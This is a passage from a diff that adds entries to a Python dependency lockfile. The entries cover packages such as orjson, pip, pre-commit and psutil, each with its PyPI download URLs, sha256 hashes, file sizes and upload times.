+    { url = "https://files.pythonhosted.org/packages/b8/03/58ec7d302b8d86944c60c7b4b82975d5161fcce4c9bc8c6cb1d6741b6115/orjson-3.11.7-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:7ba61079379b0ae29e117db13bda5f28d939766e410d321ec1624afc6a0b0504", size = 408918, upload-time = "2026-02-02T15:37:38.076Z" },
+    { url = "https://files.pythonhosted.org/packages/06/3a/868d65ef9a8b99be723bd510de491349618abd9f62c826cf206d962db295/orjson-3.11.7-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:0527a4510c300e3b406591b0ba69b5dc50031895b0a93743526a3fc45f59d26e", size = 143998, upload-time = "2026-02-02T15:37:39.706Z" },
+    { url = "https://files.pythonhosted.org/packages/5b/c7/1e18e1c83afe3349f4f6dc9e14910f0ae5f82eac756d1412ea4018938535/orjson-3.11.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a709e881723c9b18acddcfb8ba357322491ad553e277cf467e1e7e20e2d90561", size = 134802, upload-time = "2026-02-02T15:37:41.002Z" },
+    { url = "https://files.pythonhosted.org/packages/d4/0b/ccb7ee1a65b37e8eeb8b267dc953561d72370e85185e459616d4345bab34/orjson-3.11.7-cp311-cp311-win32.whl", hash = "sha256:c43b8b5bab288b6b90dac410cca7e986a4fa747a2e8f94615aea407da706980d", size = 127828, upload-time = "2026-02-02T15:37:42.241Z" },
+    { url = "https://files.pythonhosted.org/packages/af/9e/55c776dffda3f381e0f07d010a4f5f3902bf48eaba1bb7684d301acd4924/orjson-3.11.7-cp311-cp311-win_amd64.whl", hash = "sha256:6543001328aa857187f905308a028935864aefe9968af3848401b6fe80dbb471", size = 124941, upload-time = "2026-02-02T15:37:43.444Z" },
+    { url = "https://files.pythonhosted.org/packages/aa/8e/424a620fa7d263b880162505fb107ef5e0afaa765b5b06a88312ac291560/orjson-3.11.7-cp311-cp311-win_arm64.whl", hash = "sha256:1ee5cc7160a821dfe14f130bc8e63e7611051f964b463d9e2a3a573204446a4d", size = 126245, upload-time = "2026-02-02T15:37:45.18Z" },
+    { url = "https://files.pythonhosted.org/packages/80/bf/76f4f1665f6983385938f0e2a5d7efa12a58171b8456c252f3bae8a4cf75/orjson-3.11.7-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:bd03ea7606833655048dab1a00734a2875e3e86c276e1d772b2a02556f0d895f", size = 228545, upload-time = "2026-02-02T15:37:46.376Z" },
+    { url = "https://files.pythonhosted.org/packages/79/53/6c72c002cb13b5a978a068add59b25a8bdf2800ac1c9c8ecdb26d6d97064/orjson-3.11.7-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:89e440ebc74ce8ab5c7bc4ce6757b4a6b1041becb127df818f6997b5c71aa60b", size = 125224, upload-time = "2026-02-02T15:37:47.697Z" },
+    { url = "https://files.pythonhosted.org/packages/2c/83/10e48852865e5dd151bdfe652c06f7da484578ed02c5fca938e3632cb0b8/orjson-3.11.7-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5ede977b5fe5ac91b1dffc0a517ca4542d2ec8a6a4ff7b2652d94f640796342a", size = 128154, upload-time = "2026-02-02T15:37:48.954Z" },
+    { url = "https://files.pythonhosted.org/packages/6e/52/a66e22a2b9abaa374b4a081d410edab6d1e30024707b87eab7c734afe28d/orjson-3.11.7-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b7b1dae39230a393df353827c855a5f176271c23434cfd2db74e0e424e693e10", size = 123548, upload-time = "2026-02-02T15:37:50.187Z" },
+    { url = "https://files.pythonhosted.org/packages/de/38/605d371417021359f4910c496f764c48ceb8997605f8c25bf1dfe58c0ebe/orjson-3.11.7-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ed46f17096e28fb28d2975834836a639af7278aa87c84f68ab08fbe5b8bd75fa", size = 129000, upload-time = "2026-02-02T15:37:51.426Z" },
+    { url = "https://files.pythonhosted.org/packages/44/98/af32e842b0ffd2335c89714d48ca4e3917b42f5d6ee5537832e069a4b3ac/orjson-3.11.7-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3726be79e36e526e3d9c1aceaadbfb4a04ee80a72ab47b3f3c17fefb9812e7b8", size = 141686, upload-time = "2026-02-02T15:37:52.607Z" },
+    { url = "https://files.pythonhosted.org/packages/96/0b/fc793858dfa54be6feee940c1463370ece34b3c39c1ca0aa3845f5ba9892/orjson-3.11.7-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0724e265bc548af1dedebd9cb3d24b4e1c1e685a343be43e87ba922a5c5fff2f", size = 130812, upload-time = "2026-02-02T15:37:53.944Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/91/98a52415059db3f374757d0b7f0f16e3b5cd5976c90d1c2b56acaea039e6/orjson-3.11.7-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e7745312efa9e11c17fbd3cb3097262d079da26930ae9ae7ba28fb738367cbad", size = 133440, upload-time = "2026-02-02T15:37:55.615Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/b6/cb540117bda61791f46381f8c26c8f93e802892830a6055748d3bb1925ab/orjson-3.11.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:f904c24bdeabd4298f7a977ef14ca2a022ca921ed670b92ecd16ab6f3d01f867", size = 138386, upload-time = "2026-02-02T15:37:56.814Z" },
+    { url = "https://files.pythonhosted.org/packages/63/1a/50a3201c334a7f17c231eee5f841342190723794e3b06293f26e7cf87d31/orjson-3.11.7-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:b9fc4d0f81f394689e0814617aadc4f2ea0e8025f38c226cbf22d3b5ddbf025d", size = 408853, upload-time = "2026-02-02T15:37:58.291Z" },
+    { url = "https://files.pythonhosted.org/packages/87/cd/8de1c67d0be44fdc22701e5989c0d015a2adf391498ad42c4dc589cd3013/orjson-3.11.7-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:849e38203e5be40b776ed2718e587faf204d184fc9a008ae441f9442320c0cab", size = 144130, upload-time = "2026-02-02T15:38:00.163Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/fe/d605d700c35dd55f51710d159fc54516a280923cd1b7e47508982fbb387d/orjson-3.11.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:4682d1db3bcebd2b64757e0ddf9e87ae5f00d29d16c5cdf3a62f561d08cc3dd2", size = 134818, upload-time = "2026-02-02T15:38:01.507Z" },
+    { url = "https://files.pythonhosted.org/packages/e4/e4/15ecc67edb3ddb3e2f46ae04475f2d294e8b60c1825fbe28a428b93b3fbd/orjson-3.11.7-cp312-cp312-win32.whl", hash = "sha256:f4f7c956b5215d949a1f65334cf9d7612dde38f20a95f2315deef167def91a6f", size = 127923, upload-time = "2026-02-02T15:38:02.75Z" },
+    { url = "https://files.pythonhosted.org/packages/34/70/2e0855361f76198a3965273048c8e50a9695d88cd75811a5b46444895845/orjson-3.11.7-cp312-cp312-win_amd64.whl", hash = "sha256:bf742e149121dc5648ba0a08ea0871e87b660467ef168a3a5e53bc1fbd64bb74", size = 125007, upload-time = "2026-02-02T15:38:04.032Z" },
+    { url = "https://files.pythonhosted.org/packages/68/40/c2051bd19fc467610fed469dc29e43ac65891571138f476834ca192bc290/orjson-3.11.7-cp312-cp312-win_arm64.whl", hash = "sha256:26c3b9132f783b7d7903bf1efb095fed8d4a3a85ec0d334ee8beff3d7a4749d5", size = 126089, upload-time = "2026-02-02T15:38:05.297Z" },
+    { url = "https://files.pythonhosted.org/packages/89/25/6e0e52cac5aab51d7b6dcd257e855e1dec1c2060f6b28566c509b4665f62/orjson-3.11.7-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:1d98b30cc1313d52d4af17d9c3d307b08389752ec5f2e5febdfada70b0f8c733", size = 228390, upload-time = "2026-02-02T15:38:06.8Z" },
+    { url = "https://files.pythonhosted.org/packages/a5/29/a77f48d2fc8a05bbc529e5ff481fb43d914f9e383ea2469d4f3d51df3d00/orjson-3.11.7-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:d897e81f8d0cbd2abb82226d1860ad2e1ab3ff16d7b08c96ca00df9d45409ef4", size = 125189, upload-time = "2026-02-02T15:38:08.181Z" },
+    { url = "https://files.pythonhosted.org/packages/89/25/0a16e0729a0e6a1504f9d1a13cdd365f030068aab64cec6958396b9969d7/orjson-3.11.7-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:814be4b49b228cfc0b3c565acf642dd7d13538f966e3ccde61f4f55be3e20785", size = 128106, upload-time = "2026-02-02T15:38:09.41Z" },
+    { url = "https://files.pythonhosted.org/packages/66/da/a2e505469d60666a05ab373f1a6322eb671cb2ba3a0ccfc7d4bc97196787/orjson-3.11.7-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d06e5c5fed5caedd2e540d62e5b1c25e8c82431b9e577c33537e5fa4aa909539", size = 123363, upload-time = "2026-02-02T15:38:10.73Z" },
+    { url = "https://files.pythonhosted.org/packages/23/bf/ed73f88396ea35c71b38961734ea4a4746f7ca0768bf28fd551d37e48dd0/orjson-3.11.7-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:31c80ce534ac4ea3739c5ee751270646cbc46e45aea7576a38ffec040b4029a1", size = 129007, upload-time = "2026-02-02T15:38:12.138Z" },
+    { url = "https://files.pythonhosted.org/packages/73/3c/b05d80716f0225fc9008fbf8ab22841dcc268a626aa550561743714ce3bf/orjson-3.11.7-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f50979824bde13d32b4320eedd513431c921102796d86be3eee0b58e58a3ecd1", size = 141667, upload-time = "2026-02-02T15:38:13.398Z" },
+    { url = "https://files.pythonhosted.org/packages/61/e8/0be9b0addd9bf86abfc938e97441dcd0375d494594b1c8ad10fe57479617/orjson-3.11.7-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9e54f3808e2b6b945078c41aa8d9b5834b28c50843846e97807e5adb75fa9705", size = 130832, upload-time = "2026-02-02T15:38:14.698Z" },
+    { url = "https://files.pythonhosted.org/packages/c9/ec/c68e3b9021a31d9ec15a94931db1410136af862955854ed5dd7e7e4f5bff/orjson-3.11.7-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a12b80df61aab7b98b490fe9e4879925ba666fccdfcd175252ce4d9035865ace", size = 133373, upload-time = "2026-02-02T15:38:16.109Z" },
+    { url = "https://files.pythonhosted.org/packages/d2/45/f3466739aaafa570cc8e77c6dbb853c48bf56e3b43738020e2661e08b0ac/orjson-3.11.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:996b65230271f1a97026fd0e6a753f51fbc0c335d2ad0c6201f711b0da32693b", size = 138307, upload-time = "2026-02-02T15:38:17.453Z" },
+    { url = "https://files.pythonhosted.org/packages/e1/84/9f7f02288da1ffb31405c1be07657afd1eecbcb4b64ee2817b6fe0f785fa/orjson-3.11.7-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:ab49d4b2a6a1d415ddb9f37a21e02e0d5dbfe10b7870b21bf779fc21e9156157", size = 408695, upload-time = "2026-02-02T15:38:18.831Z" },
+    { url = "https://files.pythonhosted.org/packages/18/07/9dd2f0c0104f1a0295ffbe912bc8d63307a539b900dd9e2c48ef7810d971/orjson-3.11.7-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:390a1dce0c055ddf8adb6aa94a73b45a4a7d7177b5c584b8d1c1947f2ba60fb3", size = 144099, upload-time = "2026-02-02T15:38:20.28Z" },
+    { url = "https://files.pythonhosted.org/packages/a5/66/857a8e4a3292e1f7b1b202883bcdeb43a91566cf59a93f97c53b44bd6801/orjson-3.11.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:1eb80451a9c351a71dfaf5b7ccc13ad065405217726b59fdbeadbcc544f9d223", size = 134806, upload-time = "2026-02-02T15:38:22.186Z" },
+    { url = "https://files.pythonhosted.org/packages/0a/5b/6ebcf3defc1aab3a338ca777214966851e92efb1f30dc7fc8285216e6d1b/orjson-3.11.7-cp313-cp313-win32.whl", hash = "sha256:7477aa6a6ec6139c5cb1cc7b214643592169a5494d200397c7fc95d740d5fcf3", size = 127914, upload-time = "2026-02-02T15:38:23.511Z" },
+    { url = "https://files.pythonhosted.org/packages/00/04/c6f72daca5092e3117840a1b1e88dfc809cc1470cf0734890d0366b684a1/orjson-3.11.7-cp313-cp313-win_amd64.whl", hash = "sha256:b9f95dcdea9d4f805daa9ddf02617a89e484c6985fa03055459f90e87d7a0757", size = 124986, upload-time = "2026-02-02T15:38:24.836Z" },
+    { url = "https://files.pythonhosted.org/packages/03/ba/077a0f6f1085d6b806937246860fafbd5b17f3919c70ee3f3d8d9c713f38/orjson-3.11.7-cp313-cp313-win_arm64.whl", hash = "sha256:800988273a014a0541483dc81021247d7eacb0c845a9d1a34a422bc718f41539", size = 126045, upload-time = "2026-02-02T15:38:26.216Z" },
+    { url = "https://files.pythonhosted.org/packages/e9/1e/745565dca749813db9a093c5ebc4bac1a9475c64d54b95654336ac3ed961/orjson-3.11.7-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:de0a37f21d0d364954ad5de1970491d7fbd0fb1ef7417d4d56a36dc01ba0c0a0", size = 228391, upload-time = "2026-02-02T15:38:27.757Z" },
+    { url = "https://files.pythonhosted.org/packages/46/19/e40f6225da4d3aa0c8dc6e5219c5e87c2063a560fe0d72a88deb59776794/orjson-3.11.7-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:c2428d358d85e8da9d37cba18b8c4047c55222007a84f97156a5b22028dfbfc0", size = 125188, upload-time = "2026-02-02T15:38:29.241Z" },
+    { url = "https://files.pythonhosted.org/packages/9d/7e/c4de2babef2c0817fd1f048fd176aa48c37bec8aef53d2fa932983032cce/orjson-3.11.7-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3c4bc6c6ac52cdaa267552544c73e486fecbd710b7ac09bc024d5a78555a22f6", size = 128097, upload-time = "2026-02-02T15:38:30.618Z" },
+    { url = "https://files.pythonhosted.org/packages/eb/74/233d360632bafd2197f217eee7fb9c9d0229eac0c18128aee5b35b0014fe/orjson-3.11.7-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bd0d68edd7dfca1b2eca9361a44ac9f24b078de3481003159929a0573f21a6bf", size = 123364, upload-time = "2026-02-02T15:38:32.363Z" },
+    { url = "https://files.pythonhosted.org/packages/79/51/af79504981dd31efe20a9e360eb49c15f06df2b40e7f25a0a52d9ae888e8/orjson-3.11.7-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:623ad1b9548ef63886319c16fa317848e465a21513b31a6ad7b57443c3e0dcf5", size = 129076, upload-time = "2026-02-02T15:38:33.68Z" },
+    { url = "https://files.pythonhosted.org/packages/67/e2/da898eb68b72304f8de05ca6715870d09d603ee98d30a27e8a9629abc64b/orjson-3.11.7-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6e776b998ac37c0396093d10290e60283f59cfe0fc3fccbd0ccc4bd04dd19892", size = 141705, upload-time = "2026-02-02T15:38:34.989Z" },
+    { url = "https://files.pythonhosted.org/packages/c5/89/15364d92acb3d903b029e28d834edb8780c2b97404cbf7929aa6b9abdb24/orjson-3.11.7-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:652c6c3af76716f4a9c290371ba2e390ede06f6603edb277b481daf37f6f464e", size = 130855, upload-time = "2026-02-02T15:38:36.379Z" },
+    { url = "https://files.pythonhosted.org/packages/c2/8b/ecdad52d0b38d4b8f514be603e69ccd5eacf4e7241f972e37e79792212ec/orjson-3.11.7-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a56df3239294ea5964adf074c54bcc4f0ccd21636049a2cf3ca9cf03b5d03cf1", size = 133386, upload-time = "2026-02-02T15:38:37.704Z" },
+    { url = "https://files.pythonhosted.org/packages/b9/0e/45e1dcf10e17d0924b7c9162f87ec7b4ca79e28a0548acf6a71788d3e108/orjson-3.11.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:bda117c4148e81f746655d5a3239ae9bd00cb7bc3ca178b5fc5a5997e9744183", size = 138295, upload-time = "2026-02-02T15:38:39.096Z" },
+    { url = "https://files.pythonhosted.org/packages/63/d7/4d2e8b03561257af0450f2845b91fbd111d7e526ccdf737267108075e0ba/orjson-3.11.7-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:23d6c20517a97a9daf1d48b580fcdc6f0516c6f4b5038823426033690b4d2650", size = 408720, upload-time = "2026-02-02T15:38:40.634Z" },
+    { url = "https://files.pythonhosted.org/packages/78/cf/d45343518282108b29c12a65892445fc51f9319dc3c552ceb51bb5905ed2/orjson-3.11.7-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:8ff206156006da5b847c9304b6308a01e8cdbc8cce824e2779a5ba71c3def141", size = 144152, upload-time = "2026-02-02T15:38:42.262Z" },
+    { url = "https://files.pythonhosted.org/packages/a9/3a/d6001f51a7275aacd342e77b735c71fa04125a3f93c36fee4526bc8c654e/orjson-3.11.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:962d046ee1765f74a1da723f4b33e3b228fe3a48bd307acce5021dfefe0e29b2", size = 134814, upload-time = "2026-02-02T15:38:43.627Z" },
+    { url = "https://files.pythonhosted.org/packages/1d/d3/f19b47ce16820cc2c480f7f1723e17f6d411b3a295c60c8ad3aa9ff1c96a/orjson-3.11.7-cp314-cp314-win32.whl", hash = "sha256:89e13dd3f89f1c38a9c9eba5fbf7cdc2d1feca82f5f290864b4b7a6aac704576", size = 127997, upload-time = "2026-02-02T15:38:45.06Z" },
+    { url = "https://files.pythonhosted.org/packages/12/df/172771902943af54bf661a8d102bdf2e7f932127968080632bda6054b62c/orjson-3.11.7-cp314-cp314-win_amd64.whl", hash = "sha256:845c3e0d8ded9c9271cd79596b9b552448b885b97110f628fb687aee2eed11c1", size = 124985, upload-time = "2026-02-02T15:38:46.388Z" },
+    { url = "https://files.pythonhosted.org/packages/6f/1c/f2a8d8a1b17514660a614ce5f7aac74b934e69f5abc2700cc7ced882a009/orjson-3.11.7-cp314-cp314-win_arm64.whl", hash = "sha256:4a2e9c5be347b937a2e0203866f12bba36082e89b402ddb9e927d5822e43088d", size = 126038, upload-time = "2026-02-02T15:38:47.703Z" },
+]
+
+[[package]]
+name = "packaging"
+version = "26.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/65/ee/299d360cdc32edc7d2cf530f3accf79c4fca01e96ffc950d8a52213bd8e4/packaging-26.0.tar.gz", hash = "sha256:00243ae351a257117b6a241061796684b084ed1c516a08c48a3f7e147a9d80b4", size = 143416, upload-time = "2026-01-21T20:50:39.064Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/b7/b9/c538f279a4e237a006a2c98387d081e9eb060d203d8ed34467cc0f0b9b53/packaging-26.0-py3-none-any.whl", hash = "sha256:b36f1fef9334a5588b4166f8bcd26a14e521f2b55e6b9de3aaa80d3ff7a37529", size = 74366, upload-time = "2026-01-21T20:50:37.788Z" },
+]
+
+[[package]]
+name = "paginate"
+version = "0.5.7"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/ec/46/68dde5b6bc00c1296ec6466ab27dddede6aec9af1b99090e1107091b3b84/paginate-0.5.7.tar.gz", hash = "sha256:22bd083ab41e1a8b4f3690544afb2c60c25e5c9a63a30fa2f483f6c60c8e5945", size = 19252, upload-time = "2024-08-25T14:17:24.139Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/90/96/04b8e52da071d28f5e21a805b19cb9390aa17a47462ac87f5e2696b9566d/paginate-0.5.7-py2.py3-none-any.whl", hash = "sha256:b885e2af73abcf01d9559fd5216b57ef722f8c42affbb63942377668e35c7591", size = 13746, upload-time = "2024-08-25T14:17:22.55Z" },
+]
+
+[[package]]
+name = "pathspec"
+version = "1.0.4"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/fa/36/e27608899f9b8d4dff0617b2d9ab17ca5608956ca44461ac14ac48b44015/pathspec-1.0.4.tar.gz", hash = "sha256:0210e2ae8a21a9137c0d470578cb0e595af87edaa6ebf12ff176f14a02e0e645", size = 131200, upload-time = "2026-01-27T03:59:46.938Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/ef/3c/2c197d226f9ea224a9ab8d197933f9da0ae0aac5b6e0f884e2b8d9c8e9f7/pathspec-1.0.4-py3-none-any.whl", hash = "sha256:fb6ae2fd4e7c921a165808a552060e722767cfa526f99ca5156ed2ce45a5c723", size = 55206, upload-time = "2026-01-27T03:59:45.137Z" },
+]
+
+[[package]]
+name = "pexpect"
+version = "4.9.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "ptyprocess" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/42/92/cc564bf6381ff43ce1f4d06852fc19a2f11d180f23dc32d9588bee2f149d/pexpect-4.9.0.tar.gz", hash = "sha256:ee7d41123f3c9911050ea2c2dac107568dc43b2d3b0c7557a33212c398ead30f", size = 166450, upload-time = "2023-11-25T09:07:26.339Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/9e/c3/059298687310d527a58bb01f3b1965787ee3b40dce76752eda8b44e9a2c5/pexpect-4.9.0-py2.py3-none-any.whl", hash = "sha256:7236d1e080e4936be2dc3e326cec0af72acf9212a7e1d060210e70a47e253523", size = 63772, upload-time = "2023-11-25T06:56:14.81Z" },
+]
+
+[[package]]
+name = "pip"
+version = "26.0.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/48/83/0d7d4e9efe3344b8e2fe25d93be44f64b65364d3c8d7bc6dc90198d5422e/pip-26.0.1.tar.gz", hash = "sha256:c4037d8a277c89b320abe636d59f91e6d0922d08a05b60e85e53b296613346d8", size = 1812747, upload-time = "2026-02-05T02:20:18.702Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/de/f0/c81e05b613866b76d2d1066490adf1a3dbc4ee9d9c839961c3fc8a6997af/pip-26.0.1-py3-none-any.whl", hash = "sha256:bdb1b08f4274833d62c1aa29e20907365a2ceb950410df15fc9521bad440122b", size = 1787723, upload-time = "2026-02-05T02:20:16.416Z" },
+]
+
+[[package]]
+name = "platformdirs"
+version = "4.6.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/20/e5/474d0a8508029286b905622e6929470fb84337cfa08f9d09fbb624515249/platformdirs-4.6.0.tar.gz", hash = "sha256:4a13c2db1071e5846c3b3e04e5b095c0de36b2a24be9a3bc0145ca66fce4e328", size = 23433, upload-time = "2026-02-12T14:36:21.288Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/da/10/1b0dcf51427326f70e50d98df21b18c228117a743a1fc515a42f8dc7d342/platformdirs-4.6.0-py3-none-any.whl", hash = "sha256:dd7f808d828e1764a22ebff09e60f175ee3c41876606a6132a688d809c7c9c73", size = 19549, upload-time = "2026-02-12T14:36:19.743Z" },
+]
+
+[[package]]
+name = "pluggy"
+version = "1.6.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" },
+]
+
+[[package]]
+name = "pre-commit"
+version = "4.5.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "cfgv" },
+    { name = "identify" },
+    { name = "nodeenv" },
+    { name = "pyyaml" },
+    { name = "virtualenv" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/40/f1/6d86a29246dfd2e9b6237f0b5823717f60cad94d47ddc26afa916d21f525/pre_commit-4.5.1.tar.gz", hash = "sha256:eb545fcff725875197837263e977ea257a402056661f09dae08e4b149b030a61", size = 198232, upload-time = "2025-12-16T21:14:33.552Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/5d/19/fd3ef348460c80af7bb4669ea7926651d1f95c23ff2df18b9d24bab4f3fa/pre_commit-4.5.1-py2.py3-none-any.whl", hash = "sha256:3b3afd891e97337708c1674210f8eba659b52a38ea5f822ff142d10786221f77", size = 226437, upload-time = "2025-12-16T21:14:32.409Z" },
+]
+
+[[package]]
+name = "psutil"
+version = "7.2.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/aa/c6/d1ddf4abb55e93cebc4f2ed8b5d6dbad109ecb8d63748dd2b20ab5e57ebe/psutil-7.2.2.tar.gz", hash = "sha256:0746f5f8d406af344fd547f1c8daa5f5c33dbc293bb8d6a16d80b4bb88f59372", size = 493740, upload-time = "2026-01-28T18:14:54.428Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/51/08/510cbdb69c25a96f4ae523f733cdc963ae654904e8db864c07585ef99875/psutil-7.2.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:2edccc433cbfa046b980b0df0171cd25bcaeb3a68fe9022db0979e7aa74a826b", size = 130595, upload-time = "2026-01-28T18:14:57.293Z" },
+    { url = "https://files.pythonhosted.org/packages/d6/f5/97baea3fe7a5a9af7436301f85490905379b1c6f2dd51fe3ecf24b4c5fbf/psutil-7.2.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e78c8603dcd9a04c7364f1a3e670cea95d51ee865e4efb3556a3a63adef958ea", size = 131082, upload-time = "2026-01-28T18:14:59.732Z" },
+    { url = "https://files.pythonhosted.org/packages/37/d6/246513fbf9fa174af531f28412297dd05241d97a75911ac8febefa1a53c6/psutil-7.2.2-cp313-cp313t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1a571f2330c966c62aeda00dd24620425d4b0cc86881c89861fbc04549e5dc63", size = 181476, upload-time = "2026-01-28T18:15:01.884Z" },
+    { url = "https://files.pythonhosted.org/packages/b8/b5/9182c9af3836cca61696dabe4fd1304e17bc56cb62f17439e1154f225dd3/psutil-7.2.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:917e891983ca3c1887b4ef36447b1e0873e70c933afc831c6b6da078ba474312", size = 184062, upload-time = "2026-01-28T18:15:04.436Z" },
+    { url = "https://files.pythonhosted.org/packages/16/ba/0756dca669f5a9300d0cbcbfae9a4c30e446dfc7440ffe43ded5724bfd93/psutil-7.2.2-cp313-cp313t-win_amd64.whl", hash = "sha256:ab486563df44c17f5173621c7b198955bd6b613fb87c71c161f827d3fb149a9b", size = 139893, upload-time = "2026-01-28T18:15:06.378Z" },
+    { url = "https://files.pythonhosted.org/packages/1c/61/8fa0e26f33623b49949346de05ec1ddaad02ed8ba64af45f40a147dbfa97/psutil-7.2.2-cp313-cp313t-win_arm64.whl", hash = "sha256:ae0aefdd8796a7737eccea863f80f81e468a1e4cf14d926bd9b6f5f2d5f90ca9", size = 135589, upload-time = "2026-01-28T18:15:08.03Z" },
+    { url = "https://files.pythonhosted.org/packages/81/69/ef179ab5ca24f32acc1dac0c247fd6a13b501fd5534dbae0e05a1c48b66d/psutil-7.2.2-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:eed63d3b4d62449571547b60578c5b2c4bcccc5387148db46e0c2313dad0ee00", size = 130664, upload-time = "2026-01-28T18:15:09.469Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/64/665248b557a236d3fa9efc378d60d95ef56dd0a490c2cd37dafc7660d4a9/psutil-7.2.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7b6d09433a10592ce39b13d7be5a54fbac1d1228ed29abc880fb23df7cb694c9", size = 131087, upload-time = "2026-01-28T18:15:11.724Z" },
+    { url = "https://files.pythonhosted.org/packages/d5/2e/e6782744700d6759ebce3043dcfa661fb61e2fb752b91cdeae9af12c2178/psutil-7.2.2-cp314-cp314t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fa4ecf83bcdf6e6c8f4449aff98eefb5d0604bf88cb883d7da3d8d2d909546a", size = 182383, upload-time = "2026-01-28T18:15:13.445Z" },
